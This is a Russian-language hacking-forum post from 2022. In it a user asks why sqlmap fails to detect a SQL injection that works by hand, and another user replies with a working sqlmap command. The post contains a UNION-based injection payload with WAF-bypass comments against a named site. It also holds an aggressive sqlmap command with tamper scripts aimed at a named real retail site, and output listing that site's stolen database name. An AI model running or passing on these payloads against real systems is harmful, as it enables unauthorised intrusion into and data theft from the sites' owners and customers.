Показать сообщение отдельно

  #1146  
Старый 07.05.2022, 12:04
eminlayer7788
Участник форума
Регистрация: 31.07.2015
Сообщений: 111
Провел на форуме:
36807

Репутация: 1
По умолчанию

Цитата:
Сообщение от exe-world  

Ребят помогите как запихнуть в sqlmap
есть бага site.de/index.php?view_id=-11'+/*!12345UNION*/+/*!12345SELECT*/+1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16--+
работает название бд выводит но sqlmap не видит что линк уязвим пробовал и темперы разные тупо 403 выводи в логе sqlmap
руками получается вывести version 10.2.43-MariaDB-cll-lve получается вывезти user
.SpoilerTarget" type="button">Spoiler: sqlmap payload
python3 sqlmap.py -u "https://mkeducationalsupplies.com.au...productid=364*" --level=4 --risk=3 --random-agent --batch --dbs --tamper=between,modsecurityversioned,randomcase,spa ce2comment,unionalltounion --fresh-queries

available databases [1]:
[*] mkeducat_books2019
 
Ответить с цитированием